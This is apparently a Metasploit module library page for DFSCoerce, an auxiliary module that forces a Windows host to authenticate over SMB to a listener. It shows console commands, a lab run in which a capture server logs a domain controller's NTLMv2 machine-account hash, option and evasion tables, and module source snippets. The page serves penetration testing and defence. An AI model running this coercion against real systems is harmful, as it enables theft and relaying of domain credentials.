DFSCoerce - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/dcerpc/dfscoerce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: DFSCoerce
Module: auxiliary/scanner/dcerpc/dfscoerce
Source code: modules/auxiliary/scanner/dcerpc/dfscoerce.rb
Disclosure date: -
Last modification time: 2022-06-30 17:38:30 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: -

Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/dcerpc/dfscoerce
msf auxiliary(dfscoerce) > show options
    ... show and set options ...
msf auxiliary(dfscoerce) > set RHOSTS ip-range
msf auxiliary(dfscoerce) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(dfscoerce) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(dfscoerce) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(dfscoerce) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base

Vulnerable Application

Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.

Verification Steps

Example steps in this format (is also in the PR):

  1. Install the application
  2. Start msfconsole
  3. Do: use auxiliary/scanner/dcerpc/dfscoerce
  4. Set the RHOSTS and LISTENER options
  5. Set the SMBUser, SMBPass for authentication
  6. (Optional) Set the METHOD options to adjust the trigger vector
  7. Do: run

Options

LISTENER

The host listening for the incoming connection. The target will authenticate to this host using SMB. The listener host should be hosting some kind of capture or relaying service.

METHOD

The RPC method to use for triggering.

Scenarios

Windows Server 2019

In this case, Metasploit is hosting an SMB capture server to log the incoming credentials from the target machine account. The target is a 64-bit Windows Server 2019 domain controller.

msf6 > use auxiliary/server/capture/smb 
msf6 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/capture/smb) > 
[*] Server is running. Listening on 0.0.0.0:445
[*] Server started.

msf6 auxiliary(server/capture/smb) > use auxiliary/scanner/dcerpc/dfscoerce 
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBPass Password1
SMBPass => Password1
msf6 auxiliary(scanner/dcerpc/dfscoerce) > run

[*] 192.168.159.96:445    - Connecting to Distributed File System (DFS) Namespace Management Protocol
[*] 192.168.159.96:445    - Binding to \netdfs...
[+] 192.168.159.96:445    - Bound to \netdfs
[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv2-SSP Client     : 192.168.250.237
[SMB] NTLMv2-SSP Username   : MSFLAB\WIN-3MSP8K2LCGC$
[SMB] NTLMv2-SSP Hash       : WIN-3MSP8K2LCGC$::MSFLAB:971293df35be0d1c:804d2d329912e92a442698d0c6c94f08:01010000000000000088afa3c78cd801bc3c7ed684c95125000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f0055005000070008000088afa3c78cd80106000400020000000800300030000000000000000000000000400000f0ba0ee40cb1f6efed7ad8606610712042fbfffb837f66d85a2dfc3aa03019b00a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200350030002e003100330034000000000000000000

[+] 192.168.159.96:445    - Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful
[*] 192.168.159.96:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/dcerpc/dfscoerce) >

Go back to menu.

Msfconsole Usage

Here is how the scanner/dcerpc/dfscoerce auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/dcerpc/dfscoerce

msf6 auxiliary(scanner/dcerpc/dfscoerce) > show info

       Name: DFSCoerce
     Module: auxiliary/scanner/dcerpc/dfscoerce
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Wh04m1001
  xct_de
  Spencer McIntyre

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  LISTENER   192.168.0.126    yes       The host listening for the incoming connection
  METHOD     Automatic        yes       The RPC method to use for triggering (Accepted: Automatic, NetrDfsAddStdRoot, NetrDfsRemoveStdRoot)
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      445              yes       The SMB service port (TCP)
  SMBDomain  .                no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBUser                     no        The username to authenticate as
  THREADS    1                yes       The number of concurrent threads (max one per host)

Description:
  Coerce an authentication attempt over SMB to other machines via 
  MS-DFSNM methods.

References:
  https://github.com/Wh04m1001/DFSCoerce

Module Options

This is a complete list of options available in the scanner/dcerpc/dfscoerce auxiliary module:

msf6 auxiliary(scanner/dcerpc/dfscoerce) > show options

Module options (auxiliary/scanner/dcerpc/dfscoerce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   LISTENER   192.168.0.126    yes       The host listening for the incoming connection
   METHOD     Automatic        yes       The RPC method to use for triggering (Accepted: Automatic, NetrDfsAddStdRoot, NetrDfsRemoveStdRoot)
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      445              yes       The SMB service port (TCP)
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads (max one per host)

Advanced Options

Here is a complete list of advanced options supported by the scanner/dcerpc/dfscoerce auxiliary module:

msf6 auxiliary(scanner/dcerpc/dfscoerce) > show advanced

Module advanced options (auxiliary/scanner/dcerpc/dfscoerce):

   Name                     Current Setting    Required  Description
   ----                     ---------------    --------  -----------
   CHOST                                       no        The local client address
   CPORT                                       no        The local client port
   ConnectTimeout           10                 yes       Maximum number of seconds to establish a TCP connection
   DCERPC::ReadTimeout      10                 yes       The number of seconds to wait for DCERPC responses
   NTLM::SendLM             true               yes       Always send the LANMAN response (except when NTLMv2_session is specified)
   NTLM::SendNTLM           true               yes       Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
   NTLM::SendSPN            true               yes       Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+
                                                         when SPN is required
   NTLM::UseLMKey           false              yes       Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
   NTLM::UseNTLM2_session   true               yes       Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
   NTLM::UseNTLMv2          true               yes       Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   SMB::AlwaysEncrypt       true               yes       Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false,
                                                          the SMB client will still encrypt the communication if the server requires it
   SMB::ChunkSize           500                yes       The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
   SMB::Native_LM           Windows 2000 5.0   yes       The Native LM to send during authentication
   SMB::Native_OS           Windows 2000 2195  yes       The Native OS to send during authentication
   SMB::ProtocolVersion     1,2,3              yes       One or a list of coma-separated SMB protocol versions to negotiate (e.g. "1" or "1,2" or "2,3,1")
   SMB::VerifySignature     false              yes       Enforces client-side verification of server response signatures
   SMBDirect                true               no        The target port is a raw SMB service (not NetBIOS)
   SMBName                  *SMBSERVER         yes       The NetBIOS hostname (required for port 139 connections)
   SSL                      false              no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                   no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLServerNameIndication                     no        SSL/TLS Server Name Indication (SNI)
   SSLVerifyMode            PEER               no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion               Auto               yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL
                                                         23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress             true               yes       Display progress messages during a scan
   ShowProgressPercent      10                 yes       The interval in percent that progress should be shown
   VERBOSE                  false              no        Enable detailed status messages
   WORKSPACE                                   no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/dcerpc/dfscoerce module can do:

msf6 auxiliary(scanner/dcerpc/dfscoerce) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/dcerpc/dfscoerce auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/dcerpc/dfscoerce) > show evasion

Module evasion options:

   Name                             Current Setting  Required  Description
   ----                             ---------------  --------  -----------
   DCERPC::fake_bind_multi          true             no        Use multi-context bind calls
   DCERPC::fake_bind_multi_append   0                no        Set the number of UUIDs to append the target
   DCERPC::fake_bind_multi_prepend  0                no        Set the number of UUIDs to prepend before the target
   DCERPC::max_frag_size            4096             yes       Set the DCERPC packet fragmentation size
   DCERPC::smb_pipeio               rw               no        Use a different delivery method for accessing named pipes (Accepted: rw, trans)
   SMB::obscure_trans_pipe_level    0                yes       Obscure PIPE string in TransNamedPipe (level 0-3)
   SMB::pad_data_level              0                yes       Place extra padding between headers and data (level 0-3)
   SMB::pad_file_level              0                yes       Obscure path names used in open/create (level 0-3)
   SMB::pipe_evasion                false            yes       Enable segmented read/writes for SMB Pipes
   SMB::pipe_read_max_size          1024             yes       Maximum buffer size for pipe reads
   SMB::pipe_read_min_size          1                yes       Minimum buffer size for pipe reads
   SMB::pipe_write_max_size         1024             yes       Maximum buffer size for pipe writes
   SMB::pipe_write_min_size         1                yes       Minimum buffer size for pipe writes
   TCP::max_send_size               0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay                  0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to authenticate ([<E.CLASS>] <E>).

Here is a relevant code snippet related to the "Unable to authenticate ([<E.CLASS>] <E>)." error message:

60:	    end
61:	
62:	    begin
63:	      smb_login
64:	    rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
65:	      fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
66:	    end
67:	
68:	    begin
69:	      @tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
70:	    rescue RubySMB::Error::RubySMBError => e

Unable to connect to the remote IPC$ share ([<E.CLASS>] <E>).

Here is a relevant code snippet related to the "Unable to connect to the remote IPC$ share ([<E.CLASS>] <E>)." error message:

66:	    end
67:	
68:	    begin
69:	      @tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
70:	    rescue RubySMB::Error::RubySMBError => e
71:	      fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
72:	    end
73:	
74:	    begin
75:	      dfsnm = connect_dfsnm
76:	    rescue RubySMB::Error::UnexpectedStatusCode => e

Connection failed (STATUS_ACCESS_DENIED)

Here is a relevant code snippet related to the "Connection failed (STATUS_ACCESS_DENIED)" error message:

73:	
74:	    begin
75:	      dfsnm = connect_dfsnm
76:	    rescue RubySMB::Error::UnexpectedStatusCode => e
77:	      if e.status_code == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
78:	        fail_with(Failure::NoAccess, 'Connection failed (STATUS_ACCESS_DENIED)')
79:	      end
80:	
81:	      fail_with(Failure::UnexpectedReply, "Connection failed (#{e.status_code.name})")
82:	    rescue RubySMB::Dcerpc::Error::FaultError => e
83:	      elog(e.message, error: e)

Connection failed (<E.STATUS_CODE.NAME>)

Here is a relevant code snippet related to the "Connection failed (<E.STATUS_CODE.NAME>)" error message:

76:	    rescue RubySMB::Error::UnexpectedStatusCode => e
77:	      if e.status_code == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
78:	        fail_with(Failure::NoAccess, 'Connection failed (STATUS_ACCESS_DENIED)')
79:	      end
80:	
81:	      fail_with(Failure::UnexpectedReply, "Connection failed (#{e.status_code.name})")
82:	    rescue RubySMB::Dcerpc::Error::FaultError => e
83:	      elog(e.message, error: e)
84:	      fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})")
85:	    end
86:

Connection failed (DCERPC fault: <E.STATUS_NAME>)

Here is a relevant code snippet related to the "Connection failed (DCERPC fault: <E.STATUS_NAME>)" error message:

79:	      end
80:	
81:	      fail_with(Failure::UnexpectedReply, "Connection failed (#{e.status_code.name})")
82:	    rescue RubySMB::Dcerpc::Error::FaultError => e
83:	      elog(e.message, error: e)
84:	      fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})")
85:	    end
86:	
87:	    begin
88:	      case datastore['METHOD']
89:	      when 'NetrDfsAddStdRoot'

Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful

Here is a relevant code snippet related to the "Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful" error message:

94:	      end
95:	    rescue RubySMB::Dcerpc::Error::DfsnmError => e
96:	      case e.status_code
97:	      when ::WindowsError::Win32::ERROR_ACCESS_DENIED
98:	        # this should be the response even if LISTENER captured the credentials (MSF, Responder, etc.)
99:	        print_good('Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful')
100:	      when ::WindowsError::Win32::ERROR_BAD_NETPATH
101:	        # this should be the response even if LISTENER was inaccessible
102:	        print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
103:	      else
104:	        print_status("Server responded with #{e.status_code.name} (#{e.status_code.description})")

Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful

Here is a relevant code snippet related to the "Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful" error message:

97:	      when ::WindowsError::Win32::ERROR_ACCESS_DENIED
98:	        # this should be the response even if LISTENER captured the credentials (MSF, Responder, etc.)
99:	        print_good('Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful')
100:	      when ::WindowsError::Win32::ERROR_BAD_NETPATH
101:	        # this should be the response even if LISTENER was inaccessible
102:	        print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
103:	      else
104:	        print_status("Server responded with #{e.status_code.name} (#{e.status_code.description})")
105:	      end
106:	    end
107:	  end

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References

See Also

Check also the following modules related to this module:

Authors

  • Wh04m1001
  • xct_de
  • Spencer McIntyre

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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